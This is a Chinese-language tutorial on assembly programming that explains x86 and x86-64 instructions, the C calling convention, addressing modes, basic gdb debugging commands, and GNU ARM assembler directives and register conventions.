+add $10, %eax ;EAX 中的值被设置为了 EAX+10.
+addb $10, (%eax) ;往 EAX 中的值 所代表的内存单元地址 加上 1 个字节的数字 10.
+
+sub
整数相减sub
指令将第二个参数的值与第一个相减, 就是后面那个减去前面那个, 然后把结果存储到第二个参数. 和add
一样, 两个参数都可以是寄存器, 但两个参数中最多只能有一个是内存单元.
sub <reg, <reg
+sub <mem, <reg
+sub <con, <reg
+sub <con, <mem
+
+sub %ah, %al ;AL 被设置成 AL-AH
+sub $216, %eax ;将 EAX 中的值减去 216
+
+inc, dec
自增, 自减inc
指令让它的参数加 1, dec
指令则是让它的参数减去 1.
inc <reg
+inc <mem
+dec <reg
+dec <mem
+
+dec %eax ;EAX 中的值减去 1
+incl var(,1) ;将 var 所代表的 32 位整数加上 1.
+
+imul
整数相乘imul
指令有两种基本格式 : 第一种是 2 个参数的 ( 看下面语法开始两条 ); 第二种格式是 3 个参数的 ( 看下面语法最后两条 ).
2 个参数的这种格式, 先是将两个参数相乘, 然后把结果存到第二个参数中. 运算结果 ( 即第二个参数 ) 必须是一个寄存器.
+3 个参数的这种格式, 先是将它的第 1 个参数和第 2 个参数相乘, 然后把结果存到第 3 个参数中, 当然, 第 3 个参数必须是一个寄存器. 此外, 第 1 个参数必须是一个常数.
+imul <reg32, <reg32
+imul <mem, <reg32
+imul <con, <reg32, <reg32
+imul <con, <mem, <reg32
+
+imul (%ebx), %eax ;将 EAX 中的 32 位整数, 与 EBX 中的内容所指的内存单元, 相乘, 然后把结果存到 EAX 中.
+imul $25, %edi, %esi ;ESI 被设置为 EDI * 25.
+
+idiv
整数相除idiv
只有一个操作数,此操作数为除数,而被除数则为 EDX : EAX 中的内容(一个64位的整数), 除法结果 ( 商 ) 存在 EAX 中, 而所得的余数存在 EDX 中.
idiv <reg32
+idiv <mem
+
+idiv %ebx ;用 EDX : EAX 的值除以 EBX 的值. 商存放在 EAX 中, 余数存放在 EDX 中.
+idivw (%ebx) ;将 EDX : EAX 的值除以存储在 EBX 所对应内存单元的 32 位值. 商存放在 EAX 中, 余数存放在 EDX 中.
+
+and, or, xor
按位逻辑 与, 或, 异或 运算这些指令分别对它们的参数进行相应的逻辑运算, 运算结果存到第一个参数中.
+and <reg, <reg
+and <mem, <reg
+and <reg, <mem
+and <con, <reg
+and <con, <mem
+
+or <reg, <reg
+or <mem, <reg
+or <reg, <mem
+or <con, <reg
+or <con, <mem
+
+xor <reg, <reg
+xor <mem, <reg
+xor <reg, <mem
+xor <con, <reg
+xor <con, <mem
+
+and $0x0F, %eax ;只留下 EAX 中最后 4 位数字 (二进制位)
+xor %edx, %edx ;将 EDX 的值全部设置成 0
+
+not
逻辑位运算 非对参数进行逻辑非运算, 即翻转参数中所有位的值.
+not <reg
+not <mem
+
+not %eax ;将 EAX 的所有值翻转.
+
+neg
取负指令取参数的二进制补码负数. 直接看例子也许会更好懂.
+neg <reg
+neg <mem
+
+neg %eax ;EAX → -EAX
+
+shl, shr
按位左移或者右移这两个指令对第一个参数进行位运算, 移动的位数由第二个参数决定, 移动过后的空位拿 0 补上.被移的参数最多可以被移 31 位. 第二个参数可以是 8 位常数或者寄存器 CL. 在任意情况下, 大于 31 的移位都默认是与 32 取模.
+shl <con8, <reg
+shl <con8, <mem
+shl %cl, <reg
+shl %cl, <mem
+
+shr <con8, <reg
+shr <con8, <mem
+shr %cl, <reg
+shr %cl, <mem
+
+shl $1, %eax ;将 EAX 的值乘以 2 (如果最高有效位是 0 的话)
+shr %cl, %ebx ;将 EBX 的值除以 2n, 其中 n 为 CL 中的值, 运算最终结果存到 EBX 中.
+你也许会想, 明明只是把数字二进制移了 1 位, 结果却是等于这个数字乘以 2.什么情况 ? 这几个位运算的结果和计算机表示数字的原理有关,请看本章附录的计算机数字表示.
+
+x86 处理器有一个指令指针寄存器 ( EIP ), 该寄存器为 32 位寄存器, 它用来在内存中指示我们输入汇编指令的位置. 就是说这个寄存器指向哪个内存单元, 那个单元存储的机器码就是程序执行的指令. 通常它是指向我们程序要执行的 下一条指令. 但是你不能直接操作 EIP 寄存器, 你需要流程控制指令来隐式地给它赋值.
+我们使用符号 <label
来当作程序中的标签. 通过输入标签名称后跟冒号, 可以将标签插入 x86 汇编代码文本中的任何位置. 例如 :
mov 8(%ebp), %esi
+begin:
+ xor %ecx, %ecx
+ mov (%esi), %eax
+
+该代码片段中的第二段被套上了 " begin " 这个标签. 在代码的其它地方, 我们可以用 " begin " 这个标签从而更方便地来引用这段指令在内存中的位置. 这个标签只是用来更方便地表示位置的, 它并不是用来代表某个 32 位值.
+jmp
跳转指令将程序跳转到参数指定的内存地址, 然后执行该内存地址的指令.
+jmp <label
+
+jmp begin ;跳转到打了 " begin " 这个标签的地方
+
+
+jcondition
有条件的跳转这些指令是条件跳转指令, 它们基于一组条件代码的状态, 这些条件代码的状态存放在称为机器状态字 ( machine status word ) 的特殊寄存器中. 机器状态字的内容包括关于最后执行的算术运算的信息. 例如, 这个字的一个位表示最后的结果是否为 0. 另一个位表示最后结果是否为负数. 基于这些条件代码, 可以执行许多条件跳转. 例如, 如果最后一次算术运算结果为 0, 则 jz
指令就是跳转到指定参数标签. 否则, 程序就按照流程进入下一条指令.
许多条件分支的名称都是很直观的, 这些指令的运行, 都和一个特殊的比较指令有关, cmp
( 见下文 ). 例如, 像 jle
和 jne
这种指令, 它们首先对参数进行 cmp
操作.
je <label ;当相等的时候跳转
+jne <label ;当不相等的时候跳转
+jz <label ;当最后结果为 0 的时候跳转
+jg <label ;当大于的时候跳转
+jge <label ;当大于等于的时候跳转
+jl <label ;当小于的时候跳转
+jle <label ;当小于等于的时候跳转
+
+cmp %ebx, %eax
+jle done
+;如果 EAX 的值小于等于 EBX 的值, 就跳转到 " done " 标签, 否则就继续执行下一条指令.
+
+
+cmp
比较指令比较两个参数的值, 适当地设置机器状态字中的条件代码. 此指令与sub指令类似,但是cmp不用将计算结果保存在操作数中.
+cmp <reg, <reg
+cmp <mem, <reg
+cmp <reg, <mem
+cmp <con, <reg
+
+cmpb $10, (%ebx)
+jeq loop
+;如果 EBX 的值等于整数常量 10, 则跳转到标签 " loop " 的位置.
+
+
+call, ret
子程序调用与返回这两个指令实现子程序的调用和返回. call
指令首先将当前代码位置推到内存中硬件支持的栈内存上 ( 请看 push
指令 ), 然后无条件跳转到标签参数指定的代码位置. 与简单的 jmp
指令不同, call
指令保存了子程序完成时返回的位置. 就是 call
指令结束后, 返回到调用之前的地址.
ret
指令实现子程序的返回. 该指令首先从栈中取出代码 ( 类似于 pop
指令 ). 然后它无条件跳转到检索到的代码位置.
call <label
+ret
+
+为了方便不同的程序员去分享代码和运行库, 并简化一般子程序的使用, 程序员们通常会遵守一定的约定 ( Calling Convention ). 调用约定是关于如何从例程调用和返回的协议. 例如,给定一组调用约定规则,程序员不需要检查子例程的定义来确定如何将参数传递给该子例程. 此外,给定一组调用约定规则,可以使高级语言编译器遵循规则,从而允许手动编码的汇编语言例程和高级语言例程相互调用.
+我们将讲解被广泛使用的 C 语言调用约定. 遵循此约定将允许您编写可从 C ( 和C ++ ) 代码安全地调用的汇编语言子例程, 并且还允许您从汇编语言代码调用 C 函数库.
+C 调用约定很大程度上取决于使用硬件支持的栈内存. 它基于 push
, pop
, call
和 ret
指令. 子程序的参数在栈上传递. 寄存器保存在栈中, 子程序使用的局部变量放在栈中. 在大多数处理器上实现的高级过程语言都使用了类似的调用约定.
调用约定分为两组. 第一组规则是面向子例程的调用者 ( Caller ) 的, 第二组规则面向子例程的编写者, 即被调用者 ( Callee ). 应该强调的是, 错误地遵守这些规则会导致程序的致命错误, 因为栈将处于不一致的状态; 因此, 在你自己的子例程中实现调用约定的时候, 务必当心.
+ +将调用约定可视化的一种好方法是, 在子例程执行期间画一个栈内存附近的图. 图 2 描绘了在执行具有三个参数和三个局部变量的子程序期间栈的内容. 栈中描绘的单元都是 32 位内存单元, 因此这些单元的内存地址相隔 4 个字节. 第一个参数位于距基指针 8 个字节的偏移处. 在栈参数的上方 ( 和基指针下方 ), call
指令在这放了返回地址, 从而导致从基指针到第一个参数有额外 4 个字节的偏移量. 当 ret
指令用于从子程序返回时, 它将跳转到栈中的返回地址.
要进行子程序调用, 调用者应该 :
+call
指令. 该指令将返回地址存到栈上, 并跳转到子程序的代码. 这个会调用子程序, 这个子程序应该遵循下面的被调用者约定.子程序返回后 ( 紧跟调用指令后 ), 调用者可以期望在寄存器 EAX 中找到子例程的返回值. 要恢复机器状态 ( machine state ), 调用者应该 :
+下面的代码就是个活生生的例子, 它展示了遵循约定的函数调用. 调用者正在调用一个带有 3 个整数参数的函数 myFunc. 第一个参数是 EAX, 第二个参数是常数 216; 第三个参数位于 EBX 的值所代表的内存地址.
+push (%ebx) ;最后一个参数最先入栈
+push $216 ;把第二个参数入栈
+push %eax ;第一个参数最后入栈
+
+call myFunc ;调用这个函数 ( 假设以 C 语言的模式命名 )
+
+add $12, %esp
+
+注意, 在调用返回后, 调用者使用 add
指令来清理栈内存. 我们栈内存中有 12 个字节 ( 3 个参数, 每个参数 4 个字节 ), 然后栈内存地址增大. 因此, 为了摆脱掉这些参数, 我们可以直接往栈里面加个 12.
myFunc 生成的结果现在可以有用于寄存器 EAX. 调用者保存 ( Caller-saved ) 的寄存器 ( ECX, EDX ) 的值可能已经被修改. 如果调用者在调用之后使用它们,则需要在调用之前将它们保存在堆栈中并在调用之后恢复它们. 说白了就是把栈这个玩意当作临时存放点.
+子例程的定义应该遵循子例程开头的以下规则 :
+ push %ebp
+ mov %esp, %ebp
+
+这个初始操作保留了基指针 EBP. 按照约定, 基指针作为栈上找到参数和变量的参考点. 当子程序正在执行的时候, 基指针保存了从子程序开始执行是的栈指针值的副本. 参数和局部变量将始终位于远离基指针值的已知常量偏移处. 我们在子例程的开头推送旧的基指针值,以便稍后在子例程返回时为调用者恢复适当的基指针值. 记住, 调用者不希望子例程修改基指针的值. 然后我们把栈指针移动到 EBP 中, 以获取访问参数和局部变量的参考点.
+在完成这 3 步之后, 子例程的主体可以继续. 返回子例程的时候, 必须遵循以下步骤 :
+mov %ebp, %esp
. 这个法子有效, 是因为基指针始终包含栈指针在分配局部变量之前包含的值.ret
指令返回. 这个指令将从栈中找到并删除相应的返回地址 ( call 指令保存的那个 ).请注意, 被调用者的约定完全被分成了两半, 简直是彼此的镜像. 约定的前半部分适用于函数开头, 并且通常被称为定义函数的序言 ( prologue ) .这个约定的后半部分适用于函数结尾, 因此通常被称为定义函数的结尾 ( epilogue ).
+这是一个遵循被调用者约定的例子 :
+;启动代码部分
+.text
+
+;将 myFunc 定义为全局 ( 导出 ) 函数
+.globl myFunc
+.type myFunc, @function
+myFunc :
+;子程序序言
+push %ebp ;保存基指针旧值
+mov %esp, %ebp ;设置基指针新值
+sub $4, %esp ;为一个 4 字节的变量腾出位置
+push %edi
+push %esi ;这个函数会修改 EDI 和 ESI, 所以先给它们入栈
+;不需要保存 EBX, EBP 和 ESP
+
+;子程序主体
+mov 8(%ebp), %eax ;把参数 1 的值移到 EAX 中
+mov 12(%ebp), %esi ;把参数 2 的值移到 ESI 中
+mov 16(%ebp), %edi ;把参数 3 的值移到 EDI 中
+
+mov %edi, -4(%ebp) ;把 EDI 移给局部变量
+add %esi, -4(%ebp) ;把 ESI 添加给局部变量
+add -4(%ebp), %eax ;将局部变量的内容添加到 EAX ( 最终结果 ) 中
+
+;子程序结尾
+pop %esi ;恢复寄存器的值
+pop %edi
+mov %ebp, %esp ;释放局部变量
+pop %ebp ;恢复调用者的基指针值
+ret
+
+子程序序言执行标准操作, 即在 EBP ( 基指针 ) 中保存栈指针的副本, 通过递减栈指针来分配局部变量, 并在栈上保存寄存器的值.
+在子例程的主体中, 我们可以看到基指针的使用. 在子程序执行期间, 参数和局部变量都位于与基指针的常量偏移处. 特别地, 我们注意到, 由于参数在调用子程序之前被放在栈中, 因此它们总是位于栈基指针 ( 即更高的地址 ) 之下. 子程序的第一个参数总是可以在内存地址 ( EBP+8 ) 找到, 第二个参数在 ( EBP+12 ), 第三个参数在 ( EBP+16). 类似地, 由于在设置基指针后分配局部变量, 因此它们总是位于栈上基指针 ( 即较低地址 ) 之上. 特别是, 第一个局部变量总是位于 ( EBP-4 ), 第二个位于 ( EBP-8 ), 以此类推. 这种基指针的常规使用, 让我们可以快速识别函数内部局部变量和参数的使用.
+函数结尾基本上是函数序言的镜像. 从栈中恢复调用者的寄存器值, 通过重置栈指针来释放局部变量, 恢复调用者的基指针值, 并用 ret
指令返回调用者中的相应代码位置, 从哪来回哪去.
x86-64 (也被称为 x64 或者 AMD64) 是 64 位版本的 x86/IA32 指令集. 以下是我们关于 CS107 相关功能的概述.
+下图列出了常用的寄存器 ( 16个通用寄存器加上 2 个特殊用途寄存器 ). 每个寄存器都是 64 bit 宽, 它们的低 32, 16, 8 位都可以看成相应的 32, 16, 8 位寄存器, 并且都有其特殊名称. 一些寄存器被设计用来完成某些特殊目的, 比如 %rsp 被用来作为栈指针, %rax 作为一个函数的返回值. 其他寄存器则都是通用的, 但是一般在使用的时候, 还是要取决于调用者 ( Caller-owned )或者被调用者 ( Callee-owned ). 如果函数 binky 调用了 winky, 我们称 binky 为调用者, winky 为被调用者. 例如, 用于前 6 个参数和返回值的寄存器都是被调用者所有的 ( Callee-owned ). 被调用者可以任意使用这些寄存器, 不用任何预防措施就可以随意覆盖里面的内容. 如果 %rax
存着调用者想要保留的值, 则 Caller 必须在调用之前将这个 %rax
的值复制到一个 " 安全 " 的位置. 被调用者拥有的 ( Callee-owned ) 寄存器非常适合一些临时性的使用. 相反, 如果被调用者打算使用调用者所拥有的寄存器, 那么被调用者必须首先把这个寄存器的值存起来, 然后在退出调用之前把它恢复. 调用者拥有的 ( Caller-owned ) 寄存器用于保存调用者的本地状态 ( local state ), 所以这个寄存器需要在进一步的函数调用中被保留下来.
正由于它的 CISC 特性, X86-64 支持各种寻址模式. 寻址模式是计算要读或写的内存地址的表达式. 这些表达式用作mov
指令和访问内存的其它指令的来源和去路. 下面的代码演示了如何在每个可用的寻址模式中将 立即数 1 写入各种内存位置 :
movl $1, 0x604892 ;直接写入, 内存地址是一个常数
+movl $1, (%rax) ;间接写入, 内存地址存在寄存器 %rax 中
+
+movl $1, -24(%rbp) ;使用偏移量的间接写入
+ ;公式 : (address = base %rbp + displacement -24)
+
+movl $1, 8(%rsp, %rdi, 4) ;间接写入, 用到了偏移量和按比例放大的索引 ( scaled-index )
+ ;公式 : (address = base %rsp + displ 8 + index %rdi * scale 4)
+
+movl $1, (%rax, %rcx, 8) ;特殊情况, 用到了按比例放大的索引 ( scaled-index ), 假设偏移量 ( displacement ) 为 0
+
+movl $1, 0x8(, %rdx, 4) ;特殊情况, 用到了按比例放大的索引 ( scaled-index ), 假设基数 ( base ) 为 0
+movl $1, 0x4(%rax, %rcx) ;特殊情况, 用到了按比例放大的索引 ( scaled-index ), 假设比例 ( scale ) 为0
+
+先说下指令后缀, 之前讲过这里就重温一遍 : 许多指令都有个后缀 ( b, w, l, q ) , 后缀指明了这个指令代码所操纵参数数据的位宽 ( 分别为 1, 2, 4 或 8 个字节 ). 当然, 如果可以从参数确定位宽的时候, 后缀可以被省略. 例如呢, 如果目标寄存器是 %eax, 则它必须是 4 字节宽, 如果是 %ax 寄存器, 则必须是 2 个字节, 而 %al 将是 1 个字节. 还有些指令, 比如 movs
和 movz
有两个后缀 : 第一个是来源参数, 第二个是去路. 这话乍一看让人摸不着头脑, 且听我分析. 例如, movzbl
这个指令把 1 个字节的来源参数值移动到 4 个字节的去路.
当目标是子寄存器 ( sub-registers ) 时, 只有子寄存器的特定字节被写入, 但有一个例外 : 32 位指令将目标寄存器的高 32 位设置为 0.
+mov
和 lea
指令到目前为止, 我们遇到的最频繁的指令就是 mov
, 而它有很多变种. 关于 mov
指令就不多说了, 和之前 32 位 x86 的没什么区别. lea
指令其实也没什么好说的, 上一节都有, 这里就不废话了.
这里写几个比较有意思的例子 :
+mov 8(%rsp), %eax ;%eax = 从地址 %rsp + 8 读取的值
+lea 0x20(%rsp), %rdi ;%rdi = %rsp + 0x20
+lea (%rdi,%rdx,1), %rax ;%rax = %rdi + %rdx
+
+在把较小位宽的数据移动复制到较大位宽的情况下, movs
和 movz
这两个变种指令用于指定怎么样去填充字节, 因为你是一个小东西被移到了一个大空间, 肯定还有地方是空的, 所以空的地方要填起来, 拿 0 或者 符号扩展 ( sign-extend ) 来填充.
movsbl %al, %edx ;把 1 个字节的 %al, 符号扩展 复制到 4 字节的 %edx
+movzbl %al, %edx ;把 1 个字节的 %al, 零扩展 ( zero-extend ) 复制到 4 字节的 %edx
+
+有个特殊情况要注意, 默认情况下, 将 32 位值写入寄存器的 mov
指令, 也会将寄存器的高 32 位归零, 即隐式零扩展到位宽 q. 这个解释了诸如 mov %ebx, %ebx
这种指令, 这些指令看起来很奇怪, 但实际上这是用于从 32 位扩展到 64 位. 因为这个是默认的, 所以我们不用显式的 movzlq
指令. 当然, 有一个 movslq
指令也是从 32 位符号扩展到 64 位.
cltq
指令是一个在 %rax 上运行的专用移动指令. 这个没有参数的指令在 %rax 上进行符号扩展, 源位宽为 L, 目标位宽为 q.
cltq ;在 %rax 上运行,将 4 字节 src 符号扩展为 8 字节 dst,用于 movslq %eax,%rax
+
+二进制的运算一般是两个参数, 其中第二个参数既是我们指令运算的来源, 也是去路的来源, 就是说我们把运算结果存在第二个参数里. 我们的第一个参数可以是立即数常数, 寄存器或者内存单元. 第二个参数必须是寄存器或者内存. 这两个参数中, 最多只有一个参数是内存单元, 当然也有的指令只有一个参数, 这个参数既是我们运算数据的来源, 也是我们运算数据的去路, 它可以是寄存器或者内存. 这个我们上一节讲了, 这里回顾一下. 许多算术指令用于有符号和无符号类型,也就是带符号加法和无符号加法都使用相同的指令. 当需要的时候, 参数设置的条件代码可以用来检测不同类型的溢出.
+add src, dst ;dst = dst + src
+sub src, dst ;dst = dst - src
+imul src, dst ;dst = dst * src
+neg dst ;dst = -dst ( 算术取反 )
+
+and src, dst ;dst = dst & src
+or src, dst ;dst = dst | src
+xor src, dst ;dst = dst ^ src
+not dst ;dst = ~dst ( 按位取反 )
+
+shl count, dst ;dst <<= count ( 按 count 的值来左移 ), 跟这个相同的是`sal`指令
+sar count, dst ;dst = count ( 按 count 的值来算术右移 )
+shr count, dst ;dst = count ( 按 count 的值来逻辑右移 )
+
+;某些指令有特殊情况变体, 这些变体有不同的参数
+imul src ;一个参数的 imul 指令假定 %rax 中其他参数计算 128 位的结果, 在 %rdx 中存储高 64 位, 在 %rax 中存储低 64 位.
+shl dst ;dst <<= 1 ( 后面没有 count 参数的时候默认是移动 1 位, `sar`, `shr`, `sal` 指令也是一样 )
+
+这些指令上一节都讲过, 这里稍微提一下.
+有一个特殊的 %eflags 寄存器, 它存着一组被称为条件代码的布尔标志. 大多数的算术运算会更新这些条件代码. 条件跳转指令读取这些条件代码之后, 再确定是否执行相应的分支指令. 条件代码包括 ZF( 零标志 ), SF( 符号标志 ), OF( 溢出标志, 有符号 ) 和 CF( 进位标志, 无符号 ). 例如, 如果结果为 0 , 则设置 ZF, 如果操作溢出 ( 进入符号位 ), 则设置 OF.
+这些指令一般是先执行 cmp
或 test
操作来设置标志, 然后再跟跳转指令变量, 该变量读取标志来确定是采用分支代码还是继续下一条代码. cmp
或 test
的参数是立即数, 寄存器或者内存单元 ( 最多只有一个内存参数 ). 条件跳转有 32 中变体, 其中几种效果是一样的. 下面是一些分支指令.
cmpl op2, op1 ;运算结果 = op1 - op2, 丢弃结果然后设置条件代码
+test op2, op1 ;运算结果 = op1 & op2, 丢弃结果然后设置条件代码
+
+jmp target ;无条件跳跃
+je target ;等于时跳跃, 和它相同的还有 jz, 即jump zero ( ZF = 1 )
+jne target ;不相等时跳跃, 和它相同的还有 jnz, 即 jump non zero ( ZF = 0 )
+jl target ;小于时跳跃, 和它相同的还有 jnge, 即 jump not greater or equal ( SF != OF )
+jle target ;小于等于时跳跃, 和它相同的还有 jng, 即 jump not greater ( ZF = 1 or SF != OF )
+jg target ;大于时跳跃, 和它相同的还有 jnle, 即 jump not less or equal ( ZF = 0 and SF = OF )
+jge target ;大于等于时跳跃, 和它相同的还有 jnl, 即 jump not less ( SF = OF )
+ja target ;跳到上面, 和它相同的还有 jnbe, 即 jump not below or equal ( CF = 0 and ZF = 0 )
+jb target ;跳到下面, 和它相同的还有 jnae, 即 jump not above or equal ( CF = 1 )
+js target ;SF = 1 时跳跃
+jns target ;SF = 0 时跳跃
+
+其实你也会发现这里大部分上一节都讲过, 这里我们可以再来一遍巩固一下.
+setx
和movx
还有两个指令家族可以 读取/响应 当前的条件代码. setx
指令根据条件 x 的状态将目标寄存器设置为 0 或 1. cmovx
指令根据条件 x 是否成立来有条件地执行 mov. x 是任何条件变量的占位符, 就是说 x 可以用这些来代替 : e, ne, s, ns. 它们的意思上面也都说过了.
sete dst ;根据 零/相等( zero/equal ) 条件来把 dst 设置成 0 或 1
+setge dst ;根据 大于/相等( greater/equal ) 条件来把 dst 设置成 0 或 1
+cmovns src, dst ;如果 ns 条件成立, 则继续执行 mov
+cmovle src, dst ;如果 le 条件成立, 则继续执行 mov
+
+对于 setx
指令, 其目标必须是单字节寄存器 ( 例如 %al 用于 %rax 的低字节 ). 对于 cmovx
指令, 其来源和去路都必须是寄存器.
%rsp 寄存器用作 " 栈指针 "; push
和 pop
用于添加或者删除栈内存中的值. push
指令只有一个参数, 这个参数是立即数常数, 寄存器或内存单元. push
指令先把 %rsp 的值递减, 然后将参数复制到栈内存上的 tompost. pop
指令也只有一个参数, 即目标寄存器. pop
先把栈内存最顶层的值复制到目标寄存器, 然后把 %rsp 递增. 直接调整 %rsp, 以通过单个参数添加或删除整个数组或变量集合也是可以的. 但注意, 栈内存是朝下增长 ( 即朝向较低地址 ).
push %rbx ;把 %rbx 入栈
+pushq $0x3 ;把立即数 3 入栈
+sub $0x10, %rsp ;调整栈指针以空出 16 字节
+
+pop %rax ;把栈中最顶层的值出栈到寄存器 %rax 中
+add $0x10, %rsp ;调整栈指针以删除最顶层的 16 个字节
+
+函数之间是通过互相调用返回来互相控制的. callq
指令有一个参数, 即被调用的函数的地址. 它将返回来的地址入栈, 这个返回来的地址即 %rip 当前的值, 也即是调用函数后的下一条指令. 然后这个指令让程序跳转到被调用的函数的地址. retq
指令把刚才入栈的地址给出栈, 让它回到 %rip 中, 从而让程序在保存的返回地址处重新开始, 就是说你中途跳到别的地方去, 你回来的时候要从你跳的那个地方重新开始.
当然, 你如果要设置这种函数间的互相调用, 调用者需要将前六个参数放入寄存器 %rdi, %rsi, %rdx, %rcx, %r8 和 %r9 ( 任何其它参数都入栈 ), 然后再执行调用指令.
+mov $0x3, %rdi ;第一个参数在 %rdi 中
+mov $0x7, %rsi ;第二个参数在 %rsi 中
+callq binky ;把程序交给 binky 控制
+
+当被调用者那个函数完事的时候, 这个函数将返回值 ( 如果有的话 ) 写入 %rax, 然后清理栈内存, 并使用 retq
指令把程序控制权交还给调用者.
mov $0x0, %eax ;将返回值写入 %rax
+add $0x10, %rsp ;清理栈内存
+retq ;交还控制权, 跳回去
+
+这些分支跳转指令的目标通常是在编译时确定的绝对地址. 但是, 有些情况下直到运行程序的时候, 我们才知道目标的绝对内存地址. 例如编译为跳转表的 switch 语句或调用函数指针时. 对于这些, 我们先计算目标地址, 然后把地址存到寄存器中, 然后用 分支/调用( branch/call ) 变量 je *%rax
或 callq *%rax
从指定寄存器中读取目标地址.
当然还有更简单的方法, 就是上一节讲的打标签.
+调试器 ( debugger ) 有许多功能, 这可以让你可以在程序中追踪和调试代码. 你可以通过在其名称上加个 $ 来打印寄存器中的值, 或者使用命令 info reg 转储所有寄存器的值 :
+(gdb) p $rsp
+(gdb) info reg
+
+disassemble
命令按照名称打印函数的反汇编. x
命令支持 i 格式, 这个格式把内存地址的内容解释为编码指令 ( 解码 ).
(gdb) disassemble main //反汇编, 然后打印所有 main 函数的指令
+(gdb) x/8i main //反汇编, 然后打印开始的 8 条指令
+
+你可以通过在函数中的直接地址或偏移量为特定汇编指令设置断点.
+(gdb) b *0x08048375
+(gdb) b *main+7 //在 main+7个字节这里设置断点
+
+你可以用 stepi
和 nexti
命令来让程序通过指令 ( 而不是源代码 ) 往前执行.
(gdb) stepi
+(gdb) nexti
+
+本章所讲述的是在 GNU 汇编程序下的 ARM 汇编快速指南,而所有的代码示例都会采用下面的结构:
+[< 标签 label :] {<指令 instruction or directive } @ 注释 comment
+
+在 GNU 程序中不需要缩进指令。程序的标签是由冒号识别而与所处的位置无关。 就通过一个简单的程序来介绍:
+.section .text, "x"
+.global add @给符号添加外部链接
+add:
+ ADD r0, r0, r1 @添加输入参数
+ MOV pc, lr @从子程序返回
+ @程序结束
+
+它定义的是一个返回总和函数 “ add ”,允许两个输入参数。通过了解这个程序实例,想必接下来这类程序的理解我们也能够很好的的掌握。
+在 GNU 汇编程序下的 ARM 指令集涵括如下:
+GUN 汇编程序指令 | +描述 | +
---|---|
.ascii "<string>" |
+将字符串作为数据插入到程序中 | +
.asciz "<string>" |
+与 .ascii 类似,但跟随字符串的零字节 | +
.balign <power_of_2> {,<fill_value>{,<max_padding>} } |
+将地址与 <power_of_2> 字节对齐。 汇编程序通过添加值 <fill_value> 的字节或合适的默认值来对齐. 如果需要超过 <max_padding> 这个数字来填充字节,则不会发生对齐( 类似于armasm 中的 ALIGN ) |
+
.byte <byte1> {,<byte2> } … |
+将一个字节值列表作为数据插入到程序中 | +
.code <number_of_bits> |
+以位为单位设置指令宽度。 使用 16 表示 Thumb,32 表示 ARM 程序( 类似于 armasm 中的 CODE16 和 CODE32 ) | +
.else |
+与.if和 .endif 一起使用( 类似于 armasm 中的 ELSE ) | +
.end |
+标记程序文件的结尾( 通常省略 ) | +
.endif |
+结束条件编译代码块 - 参见.if,.ifdef,.ifndef( 类似于 armasm 中的 ENDIF ) | +
.endm |
+结束宏定义 - 请参阅 .macro( 类似于 armasm 中的 MEND ) | +
.endr |
+结束重复循环 - 参见 .rept 和 .irp(类似于 armasm 中的 WEND ) | +
.equ <symbol name>, <vallue> |
+该指令设置符号的值( 类似于 armasm 中的 EQU ) | +
.err |
+这个会导致程序停止并出现错误 | +
.exitm |
+中途退出一个宏 - 参见 .macro( 类似于 armasm 中的 MEXIT ) | +
.global <symbol> |
+该指令给出符号外部链接( 类似于 armasm 中的 MEXIT )。 | +
.hword <short1> {,<short2> }... |
+将16位值列表作为数据插入到程序中( 类似于 armasm 中的 DCW ) | +
.if <logical_expression> |
+把一段代码变成前提条件。 使用 .endif 结束代码块( 类似于 armasm中的 IF )。 另见 .else | +
.ifdef <symbol> |
+如果定义了 <symbol> ,则包含一段代码。 结束代码块用 .endif, 这就是个条件判断嘛, 很简单的. |
+
.ifndef <symbol> |
+如果未定义 <symbol> ,则包含一段代码。 结束代码块用 .endif, 同上. |
+
.include "<filename>" |
+包括指定的源文件, 类似于 armasm 中的 INCLUDE 或 C 中的#include | +
.irp <param> {,<val 1>} {,<val_2>} ... |
+为值列表中的每个值重复一次代码块。 使用 .endr 指令标记块的结尾。 在里面重复代码块,使用 \<param> 替换关联的代码块值列表中的值。 |
+
.macro <name> {<arg_1>} {,< arg_2>} ... {,<arg_N>} |
+使用 N 个参数定义名为<name> 的汇编程序宏。宏定义必须以 .endm 结尾。 要在较早的时候从宏中逃脱,请使用 .exitm 。 这些指令是类似于 armasm 中的 MACRO,MEND 和MEXIT。 你必须在虚拟宏参数前面加 \ . |
+
.rept <number_of_times> |
+重复给定次数的代码块。 以.endr 结束。 |
+
<register_name> .req <register_name> |
+该指令命名一个寄存器。 它与 armasm 中的 RN 指令类似,不同之处在于您必须在右侧提供名称而不是数字(例如,acc .req r0 ) |
+
.section <section_name> {,"<flags> "} |
+启动新的代码或数据部分。 GNU 中有这些部分:.text 代码部分;.data 初始化数据部分和.bss 未初始化数据部分。 这些部分有默认值flags和链接器理解默认名称(与armasm指令AREA类似的指令)。 以下是 ELF 格式文件允许的 .section标志: a 表示 allowable section w 表示 writable section x 表示 executable section |
+
.set <variable_name>, <variable_value> |
+该指令设置变量的值。 它类似于 SETA。 | +
.space <number_of_bytes> {,<fill_byte> } |
+保留给定的字节数。 如果指定了字节,则填充零或 <fill_byte> (类似于 armasm 中的 SPACE) |
+
.word <word1> {,<word2>}... |
+将 32 位字值列表作为数据插入到程序集中(类似于 armasm 中的 DCD)。 | +
通用寄存器:
+%r0 - %r15
+fp 寄存器:
+%f0 - %f7
+临时寄存器:
+%r0 - %r3, %r12
+保存寄存器:
+%r4 - %r10
+堆栈 ptr 寄存器:
+%sp
+帧 ptr 寄存器:
+%fp
+链接寄存器:
+%lr
+程序计数器:
+%ip
+状态寄存器:
+$psw
+状态标志寄存器:
+xPSR
+xPSR_all
+xPSR_f
+xPSR_x
+xPSR_ctl
+xPSR_fs
+xPSR_fx
+xPSR_fc
+xPSR_cs
+xPSR_cf
+xPSR_cx
+内联评论字符: '@'
+行评论字符: '#'
+语句分隔符: ';'
+立即操作数前缀: '#' 或 '$'
+参数寄存器 :%a0 - %a4(别名为%r0 - %r4)
+返回值regs :%v1 - %v6(别名为%r4 - %r9)
+addr
绝对寻址模式
%rn
寄存器直接寻址
[%rn]
寄存器间接寻址或索引
[%rn,#n]
基于寄存器的偏移量
上述 "rn" 指任意寄存器,但不包括控制寄存器。
+指令 | +描述 | +
---|---|
.arm | +使用arm模式进行装配 | +
.thumb | +使用thumb模式进行装配 | +
.code16 | +使用thumb模式进行装配 | +
.code32 | +使用arm模式进行组装 | +
.force_thumb Force | +thumb模式(即使不支持) | +
.thumb_func | +将输入点标记为thumb编码(强制bx条目) | +
.ltorg | +启动一个新的文字池 | +
两种格式用于寻址:
+$ 0
到 $ 31
$ t1
,$ sp
